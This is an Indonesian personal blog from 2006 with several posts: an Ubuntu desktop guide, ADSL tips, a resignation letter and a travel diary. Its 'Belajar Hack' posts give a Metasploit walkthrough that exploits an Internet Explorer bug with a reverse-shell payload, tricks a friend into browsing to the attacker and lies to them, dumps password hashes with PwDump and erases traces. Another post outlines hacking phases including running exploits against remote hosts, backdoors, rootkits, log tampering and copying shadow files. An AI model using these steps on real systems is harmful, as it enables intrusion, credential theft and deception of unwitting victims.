U for ubuntu

28 11 2006

Udah nyUbain Ubuntu belUm? Ubuntu itU linUx Untuk semUa. kalaU belUm taU, akU kasihtaU yUkk…

Ubuntu merupakan salah satu distro yg paling populer menurut salah satu situs yang selau memantau perkembangan distro linux terbaru, distrowatch. Dan hebatnya, ubuntu selalu menduduki page hit ranking pertama. Nah, sekarang coba liat beberapa klip dari youtube tentang ubuntu+beryl deh :

gmn.. keren kan? (yg punya bandwidth kecil jgn sedih ya ;p). Mirip kyk Mac OSX ya animasinya… bahkan mungkin lebih keren… daripada beli Mac yang mahal bin Sekarang kita buat komputer kita jadi kayak gitu yukk… tapi sebelumnya anda harus punya koneksi internet dulu agar bisa apt-get dulu. bias aja sih manual, tapi ribet euy.. kudu satu2 :-D. Begini nih ceritanya..

1. Install Ubuntu 6.10, klo blm punya CD-nya cari diinternet atau DVD2 yg biasanya dikasih di DVD Chip atau infolinux. Cari nginstallnya gampang ko.. tinggal klik2 doang kyk windows. tapi ati2 aja HD-nya ke format semua :-D. Jangan lupa sediain dulu partisi kosong (bisa FAT32 ato apa aja, yg penting kosong). Klo mo liat cara install lengkap dengan screenshot nya liat disini.

2. Klo dah beres nginstall Ubuntunya, install VGA card. Caranya ada disini atau buat nvidia atau ATI.

3. Nah… setelah driver berhasil diinstall, Install beryl buat nvidia atau ATI. Beryl ini yg sangat menentukan animasi yang bakal berjalan.

4. Saatnya mengubah penampilan ubuntu. Untuk themes saya menggunakan Eternal. Sedangkan icon menggunakan OSX 3.1. Sedangkan untuk emerald themes (beryl), saya menggunakan blueglass. Untuk font, silakan lihat tutorial disini untuk menggunakan macfont. Untuk GDM Themes, saya menggunakan Tux G2. Untuk mengubah tampilan gnome ini sebetulnya terserah anda. Tersedia banyak themes, icon dan hal2 yg berhubungan dengan modifikasi gnome di Gnome-look.org. Ini beberapa screenshot dari Ubuntu di komputerkU.

screenshot.png       screenshot-3.png         ubuntu3.png

5. Sebenernya ada satu lagi aplikasi yg lumayan bagus. Namanya kiba-dock, tapi karena server beryl-projetc.org lg bermasalah, jd saya ga bisa ngasih link disini :-(.

Klo mau liat cara-cara nginstall di ubuntu, anda dapat melihatnya secara lengkat di ubuntuguide. Atau yang lebih interaktif lagi di ubuntuforum. Klo mau yang berbahasa indonesia, dapat dilihat di ubuntulinux.or.id, Wiki ubuntu serta forum.

sUlamat menggUnakan Ubuntu. semUga kamU jUga sUka Ubuntu.

U for Ubuntu!





Tips & Tricks TelkomSpeedy

23 11 2006

Tadi pagi (Kamis, 23 November 2006) tepatnya pukul 10.00 pagi, layanan TelkomSpeedy saya mulai diaktifkan. Sebelumnya saya registrasi online melalui situs TelkomSpeedy pada malam hari (Senin, 20 Nov 2006). Dan keesokan harinya, saya sudah ditelpon oleh salah satu operator Telkom Speedy yang menanyakan apakah ingin berlangganan Speedy sesuai data registrasi yang saya lakukan di situsnya. Dan yang menelpon bukan hanya satu orang atau dua orang, tapi 5 orang! Entah karena berebut ‘lahan’ atau mengutamakan pelayanan, yang pasti hal ini membuat konsumen merasa diperhatikan :-). Setelah teknisi datang membantu instalasi (sebenernya saya sendiri yang melakukan instalasi, mereka hanya memasukkan username & password), akhirnya TelkomSpeedy saya ber’lari’ dengan kencang (dibandingkan dengan Telkomnyet yang saya gunakan sebelumnya). Yah, setidaknya mitos yang menyatakan Speedy bermasalah sampai saat ini belum terbukti (mudah2an tidak 😀 ).

Setelah sedikit mengoprek speedy (blm banyak sih), saya mau berbagi pengalaman apabila ada yang ingin berlangganan Speedy, khususnya saat-saat sekarang ini dimana masih terdapat program FORMULA5 yang menggratiskan biaya registrasi dan diskon biaya perbulan (di jakarta menjadi Rp. 180.000/bulan) serta tambahan quota menjadi 1GB/bulan selama tiga bulan semenjak aktivasi pertama kali.

Berikut beberapa Tips & Tricks TelkomSpeedy yang sudah saya lakukan :

1. Pastikan kabel telpon yang digunakan tidak terlalu banyak sambungan. Saya mencoba mempersingkat sambungan kabel telpon yang tadinya terdapat 3 sambungan menjadi 1. Hasilnya jika menggunakan Telkomnyet yang biasanya maksimal mendapatkan 48 Kbps bisa meningkat menjadi 50 Kbps. Walaupun tidak terlalu signifikan, tapi sepertinya berpengaruh terhadap kualitas jaringan.

2. Pilih modem ADSL yang direkomendasikan oleh Telkom. Dan juga perhatikan kebutuhan, ada modem yang terdiri dari 4 port Ethernet. Tapi kalau hanya digunakan untuk 1 buah komputer, lebih baik gunakan yang 1 port Ethernet dan 1 port USB. Harganya lebih murah 🙂

3. Kalau bisa, sebaiknya gunakan Ethernet, karena USB kadang-kadang bermasalah (kakak saya yang menggunakan USB sering bermasalah).

4. Jika anda menggunakan Windows, matikan services Automatic Updates agar tidak menghabiskan ‘jatah’ quota.

5. Atur update antivirus anda menjadi 1 minggu sekali. Beberapa antivirus yang agak paranoid seperti Kaspersky defaultnya tiap 3 hari sekali mengupdate database antivirus.

6. Apabila anda hanya ingin membaca artikel atau berita, sebaiknya atur setting browser anda (Firefox atau Opera) untuk tidak menampilkan gambar (images). Saya menggunakan Firefox untuk melihat situs yang menggunakan images serta menggunakan Opera untuk melihat situs tanpa images 😀

7. Untuk melihat kecepatan bandwidth yang diperoleh anda dapat mencoba beberapa bandwidth meter yang terdapat diinternet. Untuk test lokal anda dapat menggunakan layanan dari TelkomSpeedy. Sedangkan untuk mengukur bandwidth anda dari luar negeri anda dapat mencobanya disini.

bwmeter.JPG

contoh hasil pengukuran ke Washington DC

8. Instal aplikasi yang dapat menghitung statistik akses total download/upload yang sudah kita pergunakan. Salah satu aplikasi yang dapat digunakan adalah Net Traffic Meter. Selain menghebat ‘jatah’ karena tidak perlu login ke TelkomSpeedy dulu, aplikasi ini juga dapat memberikan Alert sesuai yang kita setting. Misalnya apabila sudah mencapai 100MB, maka akan muncul pop-up dan suara yang dapat kita atur sendiri.

9. Agar mendownload bisa lebih cepat dan dapat di-resume apabila gagal ditengah jalan atau komputer tiba2 mati, install download manager seperti flashget atau DAP.

10. Gunakan Google Web Accelerator. Katanya sih bisa mempercepat waktu loading situs. Kalau mau tahu lebih jauh silahkan baca disini.

Jika ada tambahan tips dan trick menggunakan TelkomSpeedy jangan sungkan-sungkan untuk saling berbagi yach…. 🙂

Apabila ingin mengetahui lebih lanjut mengenai ADSL dan Speedy, anda dapat membaca buku yang dibuat oleh Onno W. Purbo yang berjudul Pegangan Pengguna ADSL dan Speedy.

 

Selamat memanfaatkan ‘speed’ dari Speedy.





Surat Pengunduran Diri

21 11 2006

Kepada Yth.

Bpk. Yose Octavi Azmiral

Manager Departemen IT

PT. Pamapersada Nusantara

 

Dengan hormat,

Bersama surat ini saya mengajukan permohonan mengundurkan diri sebagai karyawan PT. Pamapersada Nusantara terhitung tanggal : 25 Nopember 2006.

Saya menghaturkan terima kasih atas kesempatan yang telah diberikan untuk belajar dan bekerja di PT. Pamapersada Nusantara sebagai suatu perusahaan besar dibidang mining contractor selama kurang lebih dua bulan ini.

Tak lupa saya mohon maaf kepada seluruh karyawan serta jajaran manajemen PT. Pamapersada
Nusantara apabila terdapat hal-hal yang tidak baik yang telah saya lakukan selama bekerja di PT. Pamapersada Nusantara.

Saya berharap dan berdo’a agar PT. Pamapersada Nusantara menjadi perusahaan yang terus maju dan sukses menjadi “World Leader mining contractor with the best PRESENT”.

Hormat saya

 

Chaidir Abadi





Belajar Hack Yuck! (3) – Hack Windows XP SP2

14 11 2006

*Fyuhh… akhirnya sempet juga nyelesain tulisan ini. Yosh.. here is the prof of concept!.

Disclaimer: This document was written in the interest of education. The author cannot be held responsible for how the topics discussed in this document are applied.

Setelah mengetahui sedikit dan konsep dasar ‘standar’ mengenai hack yang dibahas dibagian pertama dan mengetahui sedikit materi mengenai exploit pada bagian kedua, sekarang langsung aja kita praktek. Disini saya sengaja menggunakan VMWare untuk melakukan simulasi, karena tidak semua orang dapat mempraktekannya dalam suatu jaringan. Dengan menggunakan VMWare, kita dapat mensimulasikan jaringan sederhana yang seolah-olah ada suatu jaringan yang terdiri dari komputer kita sendiri dan komputer lainnya. Bagi yang belum bisa menggunakan VMWare, coba cari diinternet! Sistem Operasi yang saya gunakan adalah Windows XP SP2.

Tools yang saya gunakan adalah Metasploit Framework untuk melakukan exploit serta PwDump6 untuk mengambil hash file dari komputer target. Apa itu Metasploit Framework ?

The Metasploit Framework is a complete environment for writing, testing, and using exploit code. This environment provides a solid platform for penetrationtesting, shellcode development, and vulnerability research.

Untuk penggunaan lebih lanjut mengenai Metasploit, anda dapat membaca dokomentasi yang juga diikutsertakan dalam instalasi. Untuk melakukan instalasi metasploit versi 2.7, dibutuhkan user administrator. Sebelumnya saya mencoba menginstall dengan ‘limited user’ tapi setelah diinstall tidak bisa dijalankan. Sebenarnya instalasi metasploit ini hanya mengekstrak file saja. Jadi anda dapat menginstallnya tanpa harus mendapatkan user admin serta meletakkannya dimanapun tanpa harus menginstal di Folder Program Files. Namun setelah sedikit dioprek, ternyata tidak harus admin yang bisa menjalankan. Agak ribet dan males juga sih nulis disini, soalnya ketika mencoba versi terbaru, yaitu versi 3 Beta 3, kita dapat menjalankannya tanpa harus menginstall dengan user admin. Gitu aja ko repot! Lagipula versi 3 (skarang msh beta) lebih keren dan fiturnya lebih banyak. Tapi sayangnya untuk msfweb (versi webnya) belum bisa dijalankan sepenuhnya.

Ok.. sekarang saya asumsikan anda telah membaca userguide metasploit (ah.. paling asumsi saya salah ;p). Biar lebih keliatan keren dan memahami detailnya, saya menjelaskan metasplooit yang menggunakan console (mfsconsole) saja. Metasploit menggunakan cygwin untuk menjalankannya, karena metasploit dibuat menggunakan Perl. Sekarang mari kita praktekkan!!

Pertama2 jalankan ‘mfsconsole’!

main1.JPG

Untuk mempelajari command apa saja yang ada di MSFConsole gunakan perintah ‘help’.

Karena komputer yang ingin dijadikan target adalah Windows XP SP2, maka digunakan exploit yang berpengaruh terhadap XP SP2 yaitu dengan memanfaatkan kelemahan pada Internet Explorer VML Fill Method Code Execution.

This module exploits a code execution vulnerability in Microsoft Internet Explorer using a buffer overflow in the VML processing code (VGX.dll). This module has been tested on Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.

Untuk melihat info dari exploit ini gunakan perintah :

msf > info ie_vml_rectfill

Exploit ie_vml_rectfill memanfaatkan kelemahan pada Internet Explorer. Oleh karena itu, exploit ini akan berpengaruh jika komputer target menjalankan IE dan mengarahkan url-nya ke komputer penyerang. Untuk itu, kita harus menggunakan sedikit ‘social engineering’, seperti jika di kost/lab/kantor kita bilang ke teman kita bahwa kita sedang mencoba membuat aplikasi web terbaru, lalu minta tolong dilihat menggunakan IE ke alamat IP (atau nama komputer) kita. Misalkan http://192.168.186.1. Biasanya setelah exploit ini dijalankan dan komputer target telah terhubung, maka IE akan crash. Biarkan beberapa saat untuk membiarkan exploit ‘bekerja’. Setelah beberapa saat bilang aja “wah.. ada error nih. Ok deh.. saya coba betulin dulu… makasih ya”. Baru tutup IE-nya pake Task Manager (walaupun pake TM, IE msh sulit di-kill, jangan lupa untuk me-’end process’-kan ‘dumpred.exe’ juga, tapi setelah exploit bekerja 😀 ).


Untuk menggunakan exploit gunakan perintah2 berikut dalam console :

msf > use_ie_vml_rectfill

msf > set PAYLOAD win32_reverse

msf > set RHOST ip_target

msf > set LHOST ip_penyerang

msf > exploit

Hasilnya akan tampak seperti gambar berikut :

exploit1.JPG

Dalam contoh diatas, IP komputer target (RHOST) adalah 192.168.186.128, sedangkan komputer penyerang (LHOST) adalah 192.168.186.1. Lalu ‘payload’ yang digunakan adalah ‘win32_reverse’ dan HTTP PORT nya adalah 80 (default http port). Setalah menjalankan perintah ‘exploit’, baru kita minta komputer target untuk menjalankan IE dan mengarahkan url-nya ke komputer kita. Proses ini akan memakan waktu agak lama, bahkan terkadang tidak berhasil. Jadi coba-coba aja terus 😀

Jika anda berhasil, maka anda akan mendapatkan ‘cmd.exe’ dari komputer target.

 

Crack da Password!

Nah, setelah kita ‘menguasai’ komputer target, skalian aja kita lihat password-nya. Caranya mirip dengan artikel saya sebelumnya tentang Hack Win XP SP2 Password, tapi karena ini remote maka kita harus ‘menyediakan’ program yg dibutuhkan yaitu PwDump. Agar cara ini berhasil, saya asumsikan pada komputer target user yang sedang login mempunyai akses admin. Klo user yang digunakan komputer target yang dimanfaatkan IE-nya hanya user ‘biasa’, pwdump tidak akan berhasil!

Pertama kita share dulu PwDump dari komputer kita dengan full access agar kita bisa mengupload hasil dump password komputer target, tapi dengan akhiran ‘$’ biar tidak terlihat dikomputer umum. Misalkan nama folder yang di share PwDump$. Lalu dari console yang berhasil dihack, ambil PwDump dengan Map Network Drive dari komputer kita dengan ‘net use’. Contoh perintah yang digunakan :

pwdump.JPG

Setelah itu copy Pwdump ke komputer target dalam folder sementara, ‘temp’. Setelah Pwdump berhasil di-copy ke komputer target, jalankan Pwdump dengan perintah

C:\temp\Pwdump –o pass.txt 127.0.0.1

Klo berhasil akan tampak pada gambar berikut.

 dump1.JPG

 Lalu copy file pass.txt ke komputer kita

C:\temp\copy pass.txt z:

Dan terakhir, jangan tinggalkan jejak bahwa kita sudah mampir kesitu.

clean.JPG

Nah, udah dapet hash file nya kan. Tinggal di crack aja deh…. (baca artikel sebelumnya buat nge-crack password).

Sebenarnya masih banyak yang dapat dioprek dari metasploit. Dalam metasploit terdapat banyak exploit, payload, meterpreter, dsb yang sangat ‘menyenangkan’ untuk dioprek. Untuk mempelajari metasploit, disitusnya terdapat dokumentasi yang lumayan baik.

Happy Hacking…..

 

Beberapa saran agar windows kita tetap aman terhadap exploit diatas.

1. Jangan gunakan Internet Explorer. Gunakan Mozilla Firefox atau Opera!.

2. Patch Windows anda.

3. Gunakan antivirus dengan update terbaru

4. Hati2 terhadap teman anda sendiri.. waspadalah!! ;p

 

 

Reference :

http://www.metasploit.com





Belajar Hack Yuck! (1) – Konsep Dasar Hacking

8 11 2006

Intro

Dalam suatu kesempatan, saya pernah melihat seorang auditor keamanan jaringan melalukan penetration test (pen-test) terhadap suatu sistem IT. Karena penasaran saya melihat sedikit2 cara penetration test yang dilakukan. Waktu itu saya belum banyak tahu tools apa aja yang digunakan, yang saya tau dia menggunakan tcpdump untuk menganalisis paket apa aja yang lewat, trus untuk men-scan beberapa host menggunakan Nessus. Ada salah satu aplikasi yang digunakan berbasis web yang terdapat kumpulan beberapa exploit. Waktu itu saya belum tahu aplikasi apa itu, yang saya ingat aplikasi itu menggunakan alamat http://127.0.0.1:55555, nah berbekal port 55555 saya mencari di google, dan ternyata itu adalah Metasploit Framework!.

Peristiwa itu menginspirasikan saya untuk mengenang masa-masa lalu ketika masih seneng2nya ngoprek dan belum ‘tercemar’ oleh DotA. Akhirnya sekarang saya ingin belajar ngoprek lagi, tp lebih fokus ke exploitnya saja. Tulisannya ini akan saya buat menjadi tiga bagian. Bagian pertama mengenai bagaimana salah satu cara umum yang dilakukan untuk menge-hack suatu system. Disini saya lebih menitikberatkan untuk hacking OS Windows XP, karena OS ini paling banyak dipakai orang. Bagian kedua lebih banyak ke teori mengenai exploit. Tapi karena mungkin akan sangat sulit dipahami (saya sendiri msh blm bisa membuat exploit sendiri), saya hanya menuliskan hasil terjemahan yang membahas apa itu dan cara kerja exploit. Sedangkan bagian terakhir merupakan praktek bagaimana mengelakukan penetration test menggunakan metasploit di Windows XP.

 

 

Bagian 1

*ini merupakan artikel lama mengenai salah satu cara umum yang dilakukan untuk hacking. (artikel ini jg di mirror oleh Negative a.k.a Jim Geovedi di sini). Langkah dibawah ini merupakan cara ‘standar’, hacking sebenarnya tidak harus selalu sesuai dengan ‘standar’ ini.

 

Hacking buat pemula

– by aCh

Artikel ini ditujukan bagi pemula, dan disusun oleh pemula. Ditulis untuk pengetahuan semata. Untuk temen2 yg udah ahli, sok aja dilewat, tapi dibaca juga gpp….

Apa sebenarnya hacking itu? klo menurut pengertian gue, hacking adalah ngoprek. Yup, hacking adalah ngoprek, mempelajari sesuatu dengan keingintahuan (curiosity) yg tinggi, ngutak atik sesuatu, ‘ngudek-ngudek’ sampai ke ‘jeroannya’. Sesuatunya apa dong? ya terserah… bisa komputer, mobil, motor, mesin. Tapi masalahnya ada ngga ya hacker mobil, hacker motor, atau hacker pesawat terbang?? hehe… Walaupun saat ini hacking identik dengan ‘bobol-membobol’, tapi gue kurang setuju klo cuman bobol server orang doang!. Ada yang bilang ‘Hacking is Art’, trus dimana letak seninya dong? Mau tau pengertian hacking sebenarnya, coba baca artikel sebelumnya (How to Become A Hacker). Di situ dijelasin bahwa hacker berkaitan dengan kemahiran teknis serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Contoh hacker pada saat ini yang sering-sering disebut adalah Linus Torvald (tau ngga? itu lho yang menciptakan Linux). Apa dia tukang bobol? belum tentu kan….

Pada artikel ini, gue pengen membagi pengalaman mengenai Hacking, walaupun sampai saat ini gue belum pernah nge-Hack ke server orang. Salah satu cara untuk mencoba simulasi Hack yaitu H3cky0uRs3lf! Buat komputer kita sebagai server (sekaligus belajar konfigurasi server) trus install program yg dibutuhkan. Misalnya klo mo Web Hacking, coba install Apache atau IIS. Atau kita sesuaikan dengan exploit yang udah kita dapet. Tapi lebih baik install Linux atau FreeBSD dulu di komputer pribadi, trus konfigurasi sebagai server, lalu simulasi Hack, setelah itu baru Hack Betulan… Apalagi klo di kost ada jaringan.

Pro dan Kontra Hacking

Pro

Kontra

Etika Hacking

Semua informasi adalah free

Jika semua informasi adalah free, maka tidak ada ladi privacy

Aspek Security

Intrusion adalah ilustrasi kelemahan sistem

Tidak perlu menjadi pencuri untuk menunjukkan pintu yang tidak terkunci

Idle Machines

Hacking hanya pada idle machines

idle machines milik siapa ?

science education

hanya membobol tapi tidak merusak

“hacker wannabe” berpotensi sangat besar untuk merusak

Okeh, sekarang waktunya melakukan aksi…

 

1. Fase Persiapan

~ Mengumpulkan informasi sebanyak-banyaknya

– Secara Aktif : – portscanning

– network mapping

– OS Detection

– application fingerprinting

Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat

– Secara Pasif : – mailing-list (jasakom, newbie_hacker, hackelink, dsb)

– via internet registries (informasi domain, IP Addres)

– Website yang menjadi terget

 

2. Fase Eksekusi
~ Setelah mendapatkan informasi, biasanya akan didapatkan informasi mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan exploit (packetstromsecurity.org, milw0rm, milis bugtraq, atau mencari lewat #IRC).
~ Mengekspolitasi Vulnerability Holes
– compile eksploit -> local host ->

$gcc -o exploit exploit.c

$./exploit

# hostname (# tanda mendapatkan akses root)

remote host -> $gcc -o exploit exploit.c

$./exploit -t www.target.com

# (klo beruntung mendapatkan akes root)

~ Brute Force

– Secara berulang melakukan percobaan otentifikasi.

– Menebak username dan password.

– Cracking password file

~ Social Engineering

– Memperdayai user untuk memeberi tahu Username dan password

– Intinya ngibulin user….

 

3. Fase Setelah Eksekusi

~ Menginstall backdoor, trojans, dan rootkit

~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin

~ Menyalin /etc/passwd atau /etc/shadow/passwd

Nah, intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue, cobalah pada mesin localhost dulu (komuter pribadi), klo terhubung ke LAN lebih bagus. Sediakan server yang khusus buat dioprek. Kalaupun pun ga terhubung ke jaringan, kita masih bisa menggunakan Virtual Machine menggunakan VMWare seperti yang nanti akan dibahas pada bagian 3!

 

Referensi :

Hacking and Defense, Jim Geovedi, negative@magnesium.net

Network Defense, Jim Geovedi, negative@magnesium.net

 





Catatan perjalanan ke Borneo – part 1

6 11 2006

1rst Day, Monday 30 Oct 2006

Perjalanan menuju Kalimantan dimulai. Setelah bekerja seharian penuh, sore harinya saya berangkat ke Bandara Soekarno-Hatta. Saya berangkat dari kantor sekitar pukul 16.45. Tadinya kami pikir jalan ke Bandara akan macet, ternyata kami sampai disana dalam waktu yang cukup cepat, sekitar pukul 17.30. 

Sebelum naik kepesawat saya sempat pula ditawari makan, tapi semuanya menolak dengan basa-basi, “saya sih terserah Pak Surya saja”, “saya mah gimana enaknya aja”, “saya mah masih muda, masih kuat tahan sampai malem”, begitulah kira-kira masing-masing mengungkapkan pendapatnya. Padahal saya yakin sebenarnya mereka pada ingin makan, tapi pada “jaim” aja sepertinya J.

Setelah menunggu cukup lama di ruang tunggu, akhirnya pesawat tiba juga. Inilah saat-saat yang sangat bersejarah dalam kehidupan saya. Naik pesawat terbang untuk pertama kali dalam hidup. Sebelumnya mungkin hanya naik pesawat yang ada di Taman Mini, dan tidak pernah mengudara. Paling klo pun mengudara hanya beberapa detik dengan melawan gravitasi dengan gaya lompatan yang tidak seberapa.

Saya naik pesawat Garuda Indonesia dengan nama penerbangan GA 526 di kursi 16B kelas Ekonomi. Ternyata pesawat yang saya naiki tidak seperti bayangan saya seperti pada saat nonton dorama Attention Please, ataupun Good Luck (namanya juga kelas ekonomi). Pesawat yang saya naiki itu tipe Boing 737-400. Walaupun sempat seperti orang bingung yang baru pertama kali naik pesawat, saya berlagak sok tahu saja, biar keliatan ga norak. Eh, ga taunya waktu mau menurunkan kursi, ternyata saya mencet tombol buat kursi sebelah saya. Untungnya sebelah saya itu kursi Pak Heri, trus akhirnya dia ngasih tau ternyata untuk menurunkan kursi saya tombolnya ada disebelah kiri saya. Makanya jangan sok tau!!

Secara keseluruhan, naik pesawat ga jauh beda dengan naik kereta parahyangan (untuk kelas bisnis loh). Sama-sama berisik, sama-sama suka bergelinjang( ups.. maksudnya melonjak-lonjak, mmm… apa ya bahasanya?? Naik-turun? Ya gitu deh..). Cuman bedanya klo pesawat gak pake rel n jauh lebih mahal. Karena saya berangkat pada malam hari, saya tidak bisa melihat pemandangan dari atas, makanya saya bilang mirip dengan naik kereta. Padahal yang paling membedakan naik kereta dengan pesawat adalah melihat pemandangan dari atas.

Setelah sekitar 1 jam 20 menit di udara, akhirnya kami sampai di Banjarmasin sekitar pukul 23.00 WITA. Disana kami di jemput oleh Pak Indra, yang ternyata adalah orang Kalimantan asli. Lalu kami melakukan perjalanan yang sangat melelahkan dengan menempuh perjalanan sekitar 250 Km dan sampai di mess pukul 03.40 pagi dengan menunggangi panther. Fyuhh… Cape dehh…… sampai sana akhirnya saya nunggu subuh dulu, baru tidur… duh, cape euy. Dah ah…. nanti dilanjutin lagi. Lagi ga mood nulis nih..